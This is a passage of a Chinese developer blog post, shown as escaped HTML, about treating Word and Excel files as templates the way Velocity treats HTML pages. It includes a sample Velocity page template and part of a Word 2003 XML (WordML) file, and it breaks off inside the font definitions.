&lt;/span&gt;&lt;span&gt;我们在开发网站时，有很大一部分人采用的是MVC模式，而V是代表视图，关于视图开发的语言，都有语法简单，开发迅速的特点，比如说velocity,jstl等等，而通常用这种语言写成的文件我们通常称其为模板。模板，从名字上可以得出，这是一种通用具有参照性的样板，所有的东西都是按照它的比例剪栽而成的。&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;在采用MVC方式开发html页时，因为html是普通文本表示的，我们就会用如下形式表html&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&#xD;
&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;" onclick="cnblogs_code_show('141d349a-fb66-4e2d-ac37-2b713a0512bb')"&gt;&lt;img style="display: none" id="code_img_opened_141d349a-fb66-4e2d-ac37-2b713a0512bb"  onclick="cnblogs_code_hide('141d349a-fb66-4e2d-ac37-2b713a0512bb',event)" src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif"&gt; &#xD;
&lt;div id="cnblogs_code_open_141d349a-fb66-4e2d-ac37-2b713a0512bb" &gt;&#xD;
&lt;div&gt;&lt;!--&lt;br/ /&gt;&lt;br/ /&gt;Code highlighting produced by Actipro CodeHighlighter (freeware)&lt;br/ /&gt;http://www.CodeHighlighter.com/&lt;br/ /&gt;&lt;br/ /&gt;--&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;1&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;!&lt;/span&gt;&lt;span style="color: #ff00ff"&gt;DOCTYPE&amp;nbsp;html&amp;nbsp;PUBLIC&amp;nbsp;"-//W3C//DTD&amp;nbsp;XHTML&amp;nbsp;1.1//EN"&amp;nbsp;"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;2&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;html&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;xmlns&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://www.w3.org/1999/xhtml"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xml:lang&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="zh-CN"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;lang&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="zh-CN"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;3&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;head&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;4&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;title&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;#if($title)&amp;nbsp;$title&amp;nbsp;-&amp;nbsp;#end&amp;nbsp;xxx网&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;title&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;5&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;meta&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;http-equiv&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Content-Type"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="text/html;&amp;nbsp;charset=utf-8"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;6&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;meta&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;http-equiv&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Content-Language"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="cn"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;7&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;meta&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="all"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;name&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="robots"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;8&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;meta&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;name&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="author"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="mailto:netcorner@live.com%22/&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;&amp;nbsp;9&lt;/span&gt;&amp;nbsp;&lt;span style="color: #0000ff"&gt;&amp;nbsp;&amp;nbsp;&amp;lt;meta&amp;nbsp;name="&lt;/span&gt;&lt;span style="color: #ff0000"&gt;copyright"&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://www.xxx.com%22/&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;10&lt;/span&gt;&amp;nbsp;&lt;span style="color: #0000ff"&gt;&amp;nbsp;&amp;nbsp;&amp;lt;meta&amp;nbsp;name="&lt;/span&gt;&lt;span style="color: #ff0000"&gt;description"&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="$!title"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;11&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;meta&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;name&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="keywords"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;content&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="$!title"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;12&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;link&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;rel&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="icon"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;href&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="$applicationPath/favicon.ico"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="image/x-icon"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;13&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;script&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;src&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="$applicationPath/script/jquery1.3.2.js"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;type&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="text/javascript"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;script&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;14&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;head&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;15&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;body&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;16&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;#body()&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;17&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;body&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080"&gt;18&lt;/span&gt;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;html&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;通过上面的形式，我们程序就可以把以&amp;#8220;${var}&amp;#8221;形式的替换成我们想要的数据，而且处理起来很方便，页面和逻辑进行区分，但是对于我们的office文件(如excel,word的文件)应该怎么处理呢？因为他们不是文本的，所以通常情况下想要以excel或word文件模板像html一样做模板处理就相当困难了！那么有什么办法处理这种情况呢？&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;在开发过程中，我们会遇到很多情况是这样的：要导出数据，导出成excel、PDF、word形式的，有的如果想打印，也可以直接导出这几种形式，以方便用户打印。这几种情况在开发中是经常存的，对于开发OA时，这种情况遇到的就更多一些了。&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;那么有没有把像excel、word文档当成模板处理的呢？&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;其实有很多方式可以实现这种情况的，我知道的大致有这几种情况。&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;1.通过操作office类库，在程序中进行操作&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;这种情况，得调用office类库，而且还得写不少代码。&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;2.用openxml代替office的二进制代码&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;感觉很复杂，也不知道openxml文件是否支持office早期版本。&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;3.用office文件另存为xml形式来表示&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span&gt;&amp;nbsp;例：&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;我建立doc文件，在文档里面输入&amp;#8220;aaaaaaaaaaaaaaaaa&amp;#8221;，并别存为&amp;#8220;XML文档(*.xml)&amp;#8221;，当你直接打开这个xml文件是就是直接打开word文档了，而文档里面就是我输入的数据。用记事本打开刚才保存的xml文件，发现里面就是一个文本格式的。代码如下：&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&#xD;
&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding-left:5px;padding-right:5px;" onclick="cnblogs_code_show('6998ff7c-9be1-49e6-98ec-bac0d0a1d0b3')"&gt;&lt;img style="display: none" id="code_img_opened_6998ff7c-9be1-49e6-98ec-bac0d0a1d0b3"  onclick="cnblogs_code_hide('6998ff7c-9be1-49e6-98ec-bac0d0a1d0b3',event)" src="http://images.cnblogs.com/OutliningIndicators/ExpandedBlockStart.gif"&gt; &#xD;
&lt;div id="cnblogs_code_open_6998ff7c-9be1-49e6-98ec-bac0d0a1d0b3" &gt;&#xD;
&lt;div&gt;&lt;!--&lt;br/ /&gt;&lt;br/ /&gt;Code highlighting produced by Actipro CodeHighlighter (freeware)&lt;br/ /&gt;http://www.CodeHighlighter.com/&lt;br/ /&gt;&lt;br/ /&gt;--&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color: #ff00ff"&gt;xml&amp;nbsp;version="1.0"&amp;nbsp;encoding="UTF-8"&amp;nbsp;standalone="yes"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color: #ff00ff"&gt;mso-application&amp;nbsp;progid="Word.Document"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:wordDocument&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;xmlns:w&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://schemas.microsoft.com/office/word/2003/wordml"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:v&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="urn:schemas-microsoft-com:vml"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:w10&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="urn:schemas-microsoft-com:office:word"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:sl&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://schemas.microsoft.com/schemaLibrary/2003/core"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:aml&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://schemas.microsoft.com/aml/2001/core"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:wx&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="http://schemas.microsoft.com/office/word/2003/auxHint"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:o&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="urn:schemas-microsoft-com:office:office"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xmlns:dt&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="uuid:C2F41010-65B3-11d1-A29F-00AA00C14882"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:macrosPresent&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="no"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:embeddedObjPresent&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="no"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:ocxPresent&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="no"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;xml:space&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="preserve"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:DocumentProperties&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Title&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000; font-size: 24pt"&gt;&lt;strong&gt;aaaaaaaaaaaaaaaaa&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Title&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Author&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;netcorner&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Author&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:LastAuthor&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;netcorner&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:LastAuthor&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Revision&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;2&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Revision&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:TotalTime&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;0&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:TotalTime&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Created&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;2010-03-10T05:18:00Z&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Created&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:LastSaved&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;2010-03-10T05:18:00Z&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:LastSaved&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Pages&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Pages&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Words&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;2&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Words&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Characters&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;16&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Characters&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Lines&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Lines&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Paragraphs&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Paragraphs&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:CharactersWithSpaces&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;17&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:CharactersWithSpaces&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Version&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000"&gt;11.6359&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:Version&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;o:DocumentProperties&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:fonts&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:defaultFonts&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:ascii&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Times&amp;nbsp;New&amp;nbsp;Roman"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:fareast&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="宋体"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:h-ansi&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Times&amp;nbsp;New&amp;nbsp;Roman"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:cs&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Times&amp;nbsp;New&amp;nbsp;Roman"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:font&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:name&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="宋体"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:altName&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="SimSun"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:panose-1&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="02010600030101010101"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:charset&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="86"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:family&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="Auto"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:pitch&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:val&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="variable"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:sig&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:usb-0&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000003"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="288F0000"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-2&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000016"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:usb-3&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000000"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:csb-0&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00040001"&lt;/span&gt;&lt;span style="color: #ff0000"&gt;&amp;nbsp;w:csb-1&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="00000000"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000"&gt;w:font&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:font&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff0000"&gt;w:name&lt;/span&gt;&lt;span style="color: #0000ff"&gt;="@宋体"&lt;/span&gt;&lt;span style="color: #0000ff"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000"&gt;w:panose-1&amp;nbsp;&lt;/span&gt;&lt;span 